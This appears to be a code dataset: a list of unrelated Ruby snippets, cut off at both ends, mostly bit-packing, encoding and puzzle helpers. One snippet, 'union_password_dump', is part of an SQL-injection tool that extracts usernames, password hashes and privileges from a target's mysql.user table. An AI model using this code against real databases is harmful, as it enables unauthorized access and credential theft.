(ul>>54)&0x3f,(ul>>48)&0x3f,(ul>>42)&0x3f,(ul>>36)&0x3f,(ul>>30)&0x3f,\n (ul>>24)&0x3f,(ul>>18)&0x3f,(ul>>12)&0x3f,(ul>>6)&0x3f,ul&0x3f\n ]\n elsif bit_depth==7 then\n # 1ULに9個 MSBは0\n return [\n (ul>>56)&0x7f,(ul>>49)&0x7f,(ul>>42)&0x7f,(ul>>35)&0x7f,(ul>>28)&0x7f,\n (ul>>21)&0x7f,(ul>>14)&0x7f,(ul>>7)&0x7f,ul&0x7f\n ]\n elsif bit_depth==8 then\n # 1ULに8個\n return [\n (ul>>56)&0xff,(ul>>48)&0xff,(ul>>40)&0xff,(ul>>32)&0xff,(ul>>24)&0xff,\n (ul>>16)&0xff,(ul>>8)&0xff,ul&0xff\n ]\n elsif bit_depth==9 then\n # 1ULに7個\n return [\n (ul>>54)&0x1ff,(ul>>45)&0x1ff,(ul>>36)&0x1ff,(ul>>27)&0x1ff,(ul>>18)&0x1ff,\n (ul>>9)&0x1ff,ul&0x1ff\n ]\n elsif bit_depth==10 then\n # 1ULに6個, MSBは0000\n return [\n (ul>>50)&0x3ff,(ul>>40)&0x3ff,(ul>>30)&0x3ff,(ul>>20)&0x3ff,(ul>>10)&0x3ff,\n ul&0x3ff\n ]\n else\n throw \"bit depth not supported\"\n end\n\nend\n\n#\n#\n#\n\na=JSON.parse(File.open(\"pkt6.txt\").read())\n\nprint \"x:\", a[\"x\"], \" z:\", a[\"z\"], \" gu:\", a[\"groundUp\"], \"\\n\"\nbitmap = a[\"bitMap\"]\nbit_ary = bm2ary(bitmap)\nsection_num = bit_ary.count(1)\nprint \"bit_ary:\", bit_ary.join(\",\"),\" section_num:\",section_num, \"\\n\"\nouthm=la2hm(a[\"heightmaps\"][\"value\"][\"MOTION_BLOCKING\"][\"value\"])\nouthm.each_slice(16) do |row| print \"hm:\", row, \"\\n\" end\n\ndata=a[\"chunkData\"][\"data\"]\nprint \"ary size:\",data.size,\"\\n\"\n\n# [5, 234, 4, 14, [ 0, 33, 1, 2, vi(174, 30), 6, vi(154, 26), 70, vi(186, 61), 14, vi(243, 15), vi(255, 15), vi(226, 65), vi(157, 65), vi(128, 2), 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 1\n\n# java -cp server_1.16.5.jar net.minecraft.data.Main --all\n\nblocks=JSON.parse(File.open(\"blocks_1.16.5.json\").read())\n$id2key={}\nblocks.keys.each do |key|\n blocks[key][\"states\"].each do |state|\n $id2key[state[\"id\"]]=key\n end\nend\n\ndef readChunkArray(data,secnum)\n ofs=0\n\n secnum.times do |si|\n print \"reading section #{si}\\n\"\n\n block_num=to_s16(data,ofs)\n print \"#{ofs} block num:\",block_num,\"\\n\"\n ofs+=2\n\n bit_depth=data[ofs]\n print \"#{ofs} bit_depth:\",bit_depth,\"\\n\"\n ofs+=1\n \n palette_len,inc = to_vui(data,ofs)\n print \"#{ofs} palette_len:\",palette_len,\", inc:\",inc,\"\\n\"\n ofs+=inc\n\n palette_len.times do |i|\n ui,inc=to_vui(data,ofs)\n print \"#{ofs} palette[#{i}]:\",ui,\" key:\",$id2key[ui], \", inc:\",inc,\"\\n\"\n ofs+=inc\n end\n\n # 4bitのときは256 (64x256/4=4096)\n # 5bitのときは342 (64x342/4=5472)だいぶオーバーしてる。 https://wiki.vg/Protocolによると頭の4ビットは0だと。\n # 60ビットだけが使われるので、 long1個あたりでは 12ブロック。よって、342*12=4104.\n # 6bitのときは410. long1個あたりでは10ブロック。よって4100\n # ルールは一応わかったかな。\n data_array_len_long,inc = to_vui(data,ofs) \n print \"#{ofs} data_array_len_long:\",data_array_len_long,\", inc:\",inc,\"\\n\"\n ofs+=inc\n\n blocks=[]\n data_array_len_long.times do |i|\n ul=to_l(data,ofs) # sprintf(\"%016x\",ul)\n blocks+=ul2blocks(ul,bit_depth)\n ofs+=8\n end\n blocks=blocks.slice(0,4096)\n print \"#{ofs} blocks:\", blocks.size, \" \", blocks, \"\\n\"\n end\n print \"final ofs:\",ofs, \"\\n\"\n throw \"bug!!\" if ofs != data.size\nend\n\nreadChunkArray(data,section_num)\n \n#print data\n\n\n",
"def to_words\n if is_a? Integer\n num = self\n else\n num = self.to_i\n end\n\n if (n = num.to_s.size) > 102\n return \"more than a googol! (#{n} digits)\"\n end\n\n whole_thing = []\n\n triplets = num.commatize.split(',')\n num_triplets = triplets.size\n\n triplets.each_with_index do |triplet, i|\n next if triplet.to_i == 0\n\n result = []\n\n tens, hunds = nil, nil\n\n digits = triplet.chars.to_a\n\n raise \"Error: Not a triplet: #{triplet}\" if digits.size > 3 or digits.size < 1\n\n if digits.size == 3\n digit = digits.shift.to_i\n hunds = NAMES_SMALL[digit] + \"-hundred\" if digit > 0\n digits.shift if digits.first == '0'\n end\n\n if digits.size == 2\n n = digits.join('').to_i\n\n if n > 0 and n < 20\n tens = NAMES_SMALL[n]\n elsif n > 0\n tens = NAMES_MEDIUM[digits.shift.to_i - 2]\n if digits.first != '0'\n tens += \"-\" + NAMES_SMALL[digits.shift.to_i]\n else\n digits.shift\n end\n end\n end\n\n if digits.size == 1\n n = digits.join('').to_i\n tens = NAMES_SMALL[n] if n > 0\n end\n\n if hunds\n if tens\n result << \"#{hunds} and #{tens}\"\n else\n result << hunds\n end\n else\n result << tens if tens\n end\n\n magnitude = (num_triplets - i)\n result << NAMES_LARGE[magnitude-2] if magnitude > 1\n\n whole_thing << result.join(' ') if result.any?\n end\n\n whole_thing.join ', '\n end",
"def bit_split(x, lens)\n ret = []\n lens.each {|l|\n ret << (x & ((1 << l)-1))\n x >>= l\n }\n ret\n end",
"def lexicPerm1(list)\n\tlex_perms = list.permutation(10).to_a\n\tputs lex_perms[1_000_000 - 1].join()\nend",
"def unsigned_field_names\n @unsigned_fields.join(',')\n end",
"def to_str(opts={})\n @unique_table = {}\n @count_objects = 0\n @string_size = 0\n @int_size = 0\n @misc_size = 0\n @object_refs = 0\n\n @written_object_count = 0\n @object_table = []\n @object_ref_size = 0\n\n @offsets = []\n\n binary_str = \"bplist00\"\n unique_and_count_values(opts[:root])\n\n @count_objects += @unique_table.size\n @object_ref_size = Binary.bytes_needed(@count_objects)\n\n file_size = @string_size + @int_size + @misc_size + @object_refs * @object_ref_size + 40\n offset_size = Binary.bytes_needed(file_size)\n table_offset = file_size - 32\n\n @object_table = []\n @written_object_count = 0\n @unique_table = {} # we needed it to calculate several values, but now we need an empty table\n\n opts[:root].to_binary(self)\n\n object_offset = 8\n offsets = []\n\n 0.upto(@object_table.size-1) do |i|\n binary_str += @object_table[i]\n offsets[i] = object_offset\n object_offset += @object_table[i].bytesize\n end\n\n offsets.each do |offset|\n binary_str += Binary.pack_it_with_size(offset_size,offset)\n end\n\n binary_str += [offset_size, @object_ref_size].pack(\"x6CC\")\n binary_str += [@count_objects].pack(\"x4N\")\n binary_str += [0].pack(\"x4N\")\n binary_str += [table_offset].pack(\"x4N\")\n\n return binary_str\n end",
"def main\n\trun \"100011 00000 10001 0000000000000100\"\n\trun \"100011 00000 10010 0000000000010000\"\n\trun \"100011 00000 10011 0000000000100000\"\n\trun \"100011 00000 10100 0000000000010100\"\n\trun \"101011 00000 10001 0000000001010000\"\n\trun \"101011 00000 10010 0000000001000100\"\n\trun \"101011 00000 10011 0000000001001100\"\n\trun \"101011 00000 10100 0000000011100000\"\n\trun \"100011 00000 10001 0000000000100100\"\n\trun \"100011 00000 10010 0000000000101100\"\n\trun \"100011 00000 10011 0000000000010000\"\n\trun \"100011 00000 10100 0000000010101100\"\n\trun \"101011 00000 10001 0000000000010100\"\n\trun \"101011 00000 10010 0000000000011000\"\n\trun \"101011 00000 10011 0000000000100100\"\n\trun \"101011 00000 10100 0000000001000100\"\n\trun \"100011 00000 10001 0000000000100100\"\n\trun \"100011 00000 10010 0000000000101100\"\n\trun \"100011 00000 10011 0000000000010000\"\n\trun \"100011 00000 10100 0000000010101100\"\n\trun \"101011 00000 10001 0000000001100000\"\n\trun \"101011 00000 10010 0000000001010100\"\n\trun \"101011 00000 10011 0000000001011100\"\n\trun \"101011 00000 10100 0000000011110000\"\n\tprint \"\\n\\nRegisters \\n\" + REGISTERS.to_s\n\tprint \"\\n\\nCACHE \\n\"\n\tcounter = 0\n\t(CACHE.to_s.gsub(\"],\",\"\\n\").split(\">\\n\")).each{|i| print \"Set \" + ((counter+=1)-1).to_s + i + \"\\n\"}\n\tcounter = 0\n\tprint \"\\n\\nMAIN MEMORY\\n\"\n\tMAIN_MEMORY.each{|i| print \"Memory Cell \" + ((counter+=1)-1).to_s + \" has \" + i.to_s + \"\\n\"}\n\t\"\"\nend",
"def dump\n zeroes = ZEROBYTE * 32\n raw = ZEROBYTE * ID3::ID3v1tagSize\n raw[0..2] = 'TAG'\n\n self.each{ |key,value|\n\n range = ID3::Symbol2framename['1.1'][key]\n\n if range.class == Range \n length = range.last - range.first + 1\n paddedstring = value + zeroes\n raw[range] = paddedstring[0..length-1]\n elsif range.class == Fixnum\n raw[range] = value.to_i.chr # supposedly assigning a binary integer value to the location in the string\n else\n # this can't happen the way we defined the hash..\n next\n end\n }\n\n return raw\n end",
"def encode integer_array\n integer_array = integer_array.clone\n bits = BitArray.new\n integer_array.each do |x|\n q = x/@M\n q.times {bits.push 1}\n bits.push 0\n r = x % @M\n (@b-1).downto(0){|i| bits.push r[i]}\n end\n bits\n end",
"def pattern_bits\n str = bits.to_s(2)\n str = str.rjust(self.step_count, '0')\n str.chars.collect{|x|x=='1'}\n end",
"def write_list(list, array)\n\tstart = 1\n\tstart = list[array[-1] - 1] if list[array[-1] - 1] != 0\n\tarray.length.times do |i| \n\t\tif array[i] <1E6 && list[array[i] - 1] == 0\n\t\t\tlist[array[i] - 1] = array.length - i - 1 + start\n\t\tend\n\tend\nend",
"def flag_list(flag, list)\n list&.map do |value|\n \"#{flag}=#{value}\"\n end\n end",
"def flag_list(flag, list)\n list&.map do |value|\n \"#{flag}=#{value}\"\n end\n end",
"def to_bitfields(lens,byte_endianness=:little_endian, bits_little_endian=false)\n fields = []\n i = to_i(byte_endianness,bits_little_endian)\n for len in lens\n mask = (1<<len)-1\n fields << (i&mask)\n i >>= len\n end\n fields\n end",
"def named_bits(options = {})\n options = {\n include_spacers: false\n }.merge(options)\n result = []\n\n # Shows the bits that have changed from the reset value of the register/bits.\n # Currently logs it to the console window using Origen logger.\n def changed_bits(options = {})\n temp = named_bits.select { |name, bits| bits.data != bits.reset_val }\n temp.each do |r|\n Origen.log.info \"\\t\\t#{self.name}.#{r[0]} : #{r[1].value.to_hex}\".bold.blue\n end\n Origen.log.info ' '\n end\n\n # test if @lookup has any values stored as an array\n # if so it means there is a split group of bits\n # process that differently to a single bit or continuous range of bits\n # which are typically stored in a hash\n\n split_bits = false\n @lookup.each { |_k, v| split_bits = true if v.is_a? Array }\n\n if split_bits == false\n current_pos = size\n\n # Sort by position\n @lookup.sort_by { |_name, details| -details[:pos] }.each do |name, details|\n pos = details[:bits] + details[:pos]\n if options[:include_spacers] && (pos != current_pos)\n collection = BitCollection.dummy(self, nil, size: current_pos - pos, pos: pos)\n unless collection.size == 0\n if block_given?\n yield nil, collection\n else\n result << [nil, collection]\n end\n end\n end\n collection = BitCollection.new(self, name)\n details[:bits].times do |i|\n collection << @bits[details[:pos] + i]\n end\n unless collection.size == 0\n if block_given?\n yield name, collection\n else\n result << [name, collection]\n end\n end\n current_pos = details[:pos]\n end\n if options[:include_spacers] && (current_pos != 0)\n collection = BitCollection.dummy(self, nil, size: current_pos, pos: 0)\n unless collection.size == 0\n if block_given?\n yield nil, collection\n else\n result << [nil, collection]\n end\n end\n end\n elsif split_bits == true # if there are split bits, need to convert all register bit values to array elements to allow sorting\n\n # if the register has bits split up across it, then store the bits in order of decreasing reg position\n # but first, stuff all the bits in a simple array, as single bits, or ranges of bits\n\n @lookup_splits = []\n @lookup.each do |k, v|\n tempbit = {}\n bitcounter = {}\n if v.is_a? Hash\n # then this is already a single bit or a continuous range so just stuff it into the array\n tempbit[k] = v\n @lookup_splits << tempbit.clone\n elsif v.is_a? Array\n # if the bitgroup is split, then decompose into single bits and continuous ranges\n v.each_with_index do |bitdetail, _i|\n if bitcounter.key?(k)\n bitcounter[k] = bitcounter[k] + bitdetail[:bits]\n else\n bitcounter[k] = bitdetail[:bits]\n end\n tempbit[k] = bitdetail\n @lookup_splits << tempbit.clone\n end\n end\n if v.is_a? Array\n @lookup_splits.each_with_index do |_e, q|\n groupname = @lookup_splits[q].to_a[0][0]\n if groupname == k\n @lookup_splits[q][groupname][:bitgrouppos] = bitcounter[groupname] if groupname == k\n bitcounter[groupname] = bitcounter[groupname] - @lookup_splits[q][groupname][:bits]\n end\n end\n end\n end\n # Now sort the array in descending order\n # Does adding the bitgrouppos need to happen after the sort ?\n @lookup_splits = @lookup_splits.sort do |a, b|\n b.to_a[0][1][:pos] <=> a.to_a[0][1][:pos]\n end\n\n current_pos = size\n countbits = {} # if countbits.method == nil\n\n @master = {}\n bitgroup = {}\n bitinfo = {}\n info = {}\n\n @lookup_splits.each_with_index do |hash, _i|\n name = hash.to_a[0][0]\n details = hash.to_a[0][1]\n bitcounter = hash.to_a[0][1][:bitgrouppos]\n pos = details[:bits] + details[:pos]\n if options[:include_spacers] && (pos != current_pos)\n collection = BitCollection.dummy(self, nil, size: current_pos - pos, pos: pos)\n unless collection.size == 0\n if block_given?\n yield nil, collection, bitcounter\n else\n result << [nil, collection, bitcounter]\n end\n end\n end\n collection = BitCollection.new(self, name)\n details[:bits].times do |i|\n collection << @bits[details[:pos] + i]\n end\n unless collection.size == 0\n if block_given?\n yield name, collection, bitcounter\n else\n result << [name, collection, bitcounter]\n end\n end\n current_pos = details[:pos]\n end\n if options[:include_spacers] && current_pos != 0\n collection = BitCollection.dummy(self, nil, size: current_pos, pos: 0)\n unless collection.size == 0\n if block_given?\n yield nil, collection, bitcounter\n else\n result << [nil, collection, bitcounter]\n end\n end\n end\n end\n unless block_given?\n result\n end\n end",
"def _dump(limit = nil)\n tm = decomposed(true)\n\n if (year & 0xffff) != year then\n raise ArgumentError, \"year too big to marshal: #{year}\"\n end\n\n gmt = @is_gmt ? 1 : 0\n\n major = 1 << 31 | # 1 bit\n gmt << 30 | # 1 bit\n (tm[5] - 1900) << 14 | # 16 bits\n (tm[4] - 1) << 10 | # 4 bits\n tm[3] << 5 | # 5 bits\n tm[2] # 5 bits\n minor = tm[1] << 26 | # 6 bits\n tm[0] << 20 | # 6 bits\n usec # 20 bits\n\n [major, minor].pack 'VV'\n end",
"def to_chars( numbers )\r\n numbers.collect {|x| x + 64}.pack(\"C*\")\r\n end",
"def to_set_bit_position_array\n BitMapping.number_to_set_bit_positions_array(number)\n end",
"def encode_uint32(value)\n [value].pack(\"L>\")\n end",
"def stringy(number)\n number_range = (1..number)\n binary = []\n number_range.each do |num|\n if num % 2 == 1\n binary << 1\n elsif num % 2 == 0\n binary << 0\n end\n end\n binary.join(\"\")\nend",
"def dump(struct)\n struct.each_pair.map {|k,v| \" #{k} = 0x%0.8x\" % v}\nend",
"def scaffold_field_type_list\n list = \"\"\n @fields.each {|field| list << field.scaffold_instruction}\n list\n end",
"def read(bits=nil)\n bits ||= word_size\n binary = []\n\n bits.times do |i|\n block_index, bit_index = @pointer.divmod(8)\n data = @blocks[block_index] || 0\n binary << (((data >> (7 - bit_index)) & 1) == 1)\n @pointer += 1\n end\n\n binary.map{|b| b ? '1' : '0' }.join.to_i(2)\n end",
"def print_hex_and_instr\n instructions.each do |instr|\n binstr = nil\n instr_bytes = instr.words\n if instr.words && instr.words.size > 0\n encstr = pack_string(instr_bytes)\n binary = instr_bytes.pack(encstr)\n unpacked = binary.unpack(WORD_PACK_SYMBOL * instr_bytes.size)\n unless instr.is_a?(Op)\n fstr = \"%x \" * unpacked.size\n binstr = fstr % unpacked\n else\n binstr = split_up_instruction(unpacked.shift)\n fstr = \"%x \" * unpacked.size\n binstr << fstr % unpacked\n end\n end\n \n puts \"#{instr.to_s_eval} \\t ; #{binstr}\"\n end\n end",
"def short_ids(images)\n images.map { |img| img.id.to_s }\n .map { |x| x[0..11] }\n .join(',')\nend",
"def reference_types\n types = []\n\n # Will need the 008[24] and 006[7]\n f8_24 = self['008[24]']\n f6_7 = self['006[7]']\n\n\n\n if (f8_24.include? 'e') || (f6_7.include? 'e')\n types << 'EN'\n end\n\n if f6_7.include? 'd'\n types << 'DI'\n types << 'DR'\n end\n\n if f8_24.include? 'd'\n types << 'DI'\n end\n\n if f8_24.include? 'r'\n types << 'DR'\n end\n\n types << 'EN' if @xv6XX.match? /encyclopedias/i\n types << 'DI' if @xv6XX.match? /dictionaries/i\n types << 'DR' if @xv6XX.match? /directories/i\n\n types.uniq!\n return types\n end",
"def all_values(each_bits = nil, opts = {warn_threshold: 12})\n # Shuffle things around so that people can call #all_values(warn_threshold: false)\n if each_bits.is_a?(Hash)\n opts = each_bits\n each_bits = nil\n end\n \n each_bits = self.bits if each_bits == nil\n \n if opts[:warn_threshold] and each_bits.length > opts[:warn_threshold]\n warn \"There are #{each_bits.length} bits. You will have #{2**(each_bits.length)} values in the result. Please carefully benchmark the execution time and memory usage of your use-case.\"\n warn \"You can disable this warning by using #all_values(warn_threshold: false)\"\n end\n \n values = []\n \n self.each_value(each_bits) {|num| values << num }\n \n values\n end",
"def put_int64(*ints)\n ints.each { |i| @request << [i].pack('q').reverse }#[i >> 32, i & ((1 << 32) - 1)].pack('NN') }\n self\n end",
"def generate_numbers\n (0...ARRAY_LENGTH).each do |i|\n y = ((1 << 31) & @mt[i]) + ((2**31 -1) & (@mt[(i+1)%ARRAY_LENGTH] % ARRAY_LENGTH))\n @mt[i] = @mt[(i + 397) % ARRAY_LENGTH] ^ (y >> 1)\n if (y % 2) != 0\n @mt[i] = @mt[i] ^ GENERATE_CONST\n end\n end\n end",
"def calcresult\n tmptab = []\n i = 0\n\n until ((word1.bits[i] == nil) || (word2.bits[i] == nil))\n if ((word1.bits[i] == 1) || (word2.bits[i] == 1))\n tmptab.push(1)\n else\n tmptab.push(0)\n end\n i += 1\n end\n\n # Checking if one of the words are not of the same size\n if (word1.bits[i] == nil)\n until (word2.bits[i] == nil)\n tmptab.push(word2.bits[i])\n i += 1\n end\n else\n until (word1.bits[i] == nil)\n tmptab.push(word1.bits[i])\n i += 1\n end\n end\n\n return tmptab\n end",
"def write_int64(*n); end",
"def bitfield_args\n @bitfield_args ||= []\n end",
"def toBinary(n)\n\ttop = Math.log2(n).to_int\n\tlist = []\n\twhile top >= 0\n\t\tn >= 2 ** top ? (list << 1 and n -= 2 ** top) : (list << 0)\n\t\ttop -= 1\n\tend\n\tlist.join\nend",
"def dump_registers\n registers.each do |name, register|\n puts \"#{name.to_s.rjust(6)}: \" +\n \"0x#{register.value.to_s(16).rjust(register.size, \"0\")} \" +\n \"(#{register.value})\"\n end\n end",
"def dump()\n list = dump_children(@v4_root)\n list.concat( dump_children(@v6_root) )\n list.each {|x| x[:CIDR] = NetAddr.cidr_build(x[:CIDR].version, x[:CIDR].to_i(:network), x[:CIDR].to_i(:netmask)) }\n return(list)\n end",
"def test_decode_large_tuple()\n input = [\n 131, 105, 0, 0, 1, 26, 97, 42, 97, 69, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1,\n 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97, 1, 97,\n 69]\n expected = Erlang::Tuple.new([\n 42, 69, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 69])\n\n stream = Erlang::StreamEmulator.new(input)\n actual = Erlang::decode(stream)\n\n assert_equal(expected, actual)\n end",
"def write_word16_native(val)\n pw(val, 'S')\n end",
"def pack_data value\r\n [value].pack('l>').split('').map(&:ord)\r\nend",
"def right_numbers\n numbers_with_checksum[7,6]\n end",
"def bits(number)\n bits = []\n\n while number != 0\n bits << number % 2\n number = number / 2\n end\n\n bits.reverse.join\nend",
"def merge(long_bitstring, lat_bitstring)\n @bitstring = \"\"\n i = 0\n i_lat = 0\n i_long = 0\n while i < ((lat_bitstring.length) + (long_bitstring.length))\n if i % 2 == 0\n @bitstring += long_bitstring[i_long]\n i_long += 1\n else\n @bitstring += lat_bitstring[i_lat]\n i_lat += 1\n end\n i += 1\n end\n return @bitstring\n end",
"def dumpLookups()\r\n 79.times {print \"=\"}\r\n puts\r\n puts \"LOOKUP DUMP\".center(80)\r\n 79.times {print \"=\"}\r\n puts\r\n\r\n if(@lookups.length > 0)\r\n lookups = @lookups.sort\r\n lookups.each do |key, lookup|\r\n\r\n puts lookup.toGdlRef()\r\n\r\n end # lookups.each\r\n else\r\n puts \"No lookups to dump.\"\r\n end # if\r\n\r\n puts \"\"\r\n end",
"def strings\n [\n build_identification_string,\n build_flags_string,\n build_info_string,\n build_name_string\n ].compact\n end",
"def union_password_dump\n columns=[ 'user', 'host', 'password', 'super_priv', 'file_priv' ]\n # Find out how many entries exist, or fail cause we dont have privs\n inj = \"SELECT COUNT(#{columns[0]}) FROM mysql.user\"\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, inj)\n if results.nil? or results == ''\n print_error(\"Unable to dump any passwords from mysql.user!\")\n print_error(\"Lack of privileges? IDK....\")\n print_status(\"Possible Solutions include:\")\n print_caution(\"A) Become HR's best friend by updating the code and sending him a copy\")\n print_caution(\"B) Tweak Settings and try things again\")\n print_caution(\"C) Be a bawz and do it manually\")\n print_line(\"\")\n return false\n else\n entries = results.to_i\n end\n # Now go dump the passwords\n count=0\n titlerow = []\n columns.each { |col| titlerow << col.sub('_priv', '') }\n data=[] # Array of Arrays for table later\n data << titlerow\n while count.to_i < entries.to_i\n row_data = []\n columns.each do |col|\n inj = \"SELECT #{col} FROM mysql.user limit #{count}, 1\"\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, inj)\n if results.nil? or results == ''\n row_data << 'NULL'\n else\n row_data << results\n end\n end\n pad = ' ' * (row_data.size + 25) unless row_data.empty?\n pad = ' ' * 50 if row_data.nil? if row_data.empty?\n print \"\\r(ROW##{count})> #{row_data.join(',')}#{pad}\".cyan unless row_data.empty?\n data << row_data unless row_data.empty?\n count = count.to_i + 1\n end\n print_line(\"\")\n if data.size == 1\n print_error(\"Unable to dump any passwords from mysql.user!\")\n print_error(\"Lack of privileges? IDK....\")\n print_status(\"Possible Solutions include:\")\n print_caution(\"A) Become HR's best friend by updating the code and sending him a copy\")\n print_caution(\"B) Tweak Settings and try things again\")\n print_caution(\"C) Be a bawz and do it manually\")\n print_line(\"\")\n return false\n else\t\n print_good(\"MySQL Users & Password Dump\")\n pad = (data[0].size * 3) + data[0].size\n strsize = data[0].join().to_s.size\n breaker=\"\\#\" * (pad + strsize)\n print_good(\"#{breaker}\")\n table = data.to_table(:first_row_is_head => true)\n @target_config['PASSWORDS'] = table.to_s\n print_line(\"#{@target_config['PASSWORDS']}\")\n print_good(\"#{breaker}\")\n return true\n end\n end",
"def type_list_str(glue = \"\\n\")\n str = glue\n @MapTypes.each { |el| str += el.to_s.sub(/#{@PREFIX}/, '') + glue }\n return str.sub(/#{glue}$/, '')\n end",
"def p13\n\tnumbers = [\n\t\t37107287533902102798797998220837590246510135740250,\n\t\t46376937677490009712648124896970078050417018260538,\n\t\t74324986199524741059474233309513058123726617309629,\n\t\t91942213363574161572522430563301811072406154908250,\n\t\t23067588207539346171171980310421047513778063246676,\n\t\t89261670696623633820136378418383684178734361726757,\n\t\t28112879812849979408065481931592621691275889832738,\n\t\t44274228917432520321923589422876796487670272189318,\n\t\t47451445736001306439091167216856844588711603153276,\n\t\t70386486105843025439939619828917593665686757934951,\n\t\t62176457141856560629502157223196586755079324193331,\n\t\t64906352462741904929101432445813822663347944758178,\n\t\t92575867718337217661963751590579239728245598838407,\n\t\t58203565325359399008402633568948830189458628227828,\n\t\t80181199384826282014278194139940567587151170094390,\n\t\t35398664372827112653829987240784473053190104293586,\n\t\t86515506006295864861532075273371959191420517255829,\n\t\t71693888707715466499115593487603532921714970056938,\n\t\t54370070576826684624621495650076471787294438377604,\n\t\t53282654108756828443191190634694037855217779295145,\n\t\t36123272525000296071075082563815656710885258350721,\n\t\t45876576172410976447339110607218265236877223636045,\n\t\t17423706905851860660448207621209813287860733969412,\n\t\t81142660418086830619328460811191061556940512689692,\n\t\t51934325451728388641918047049293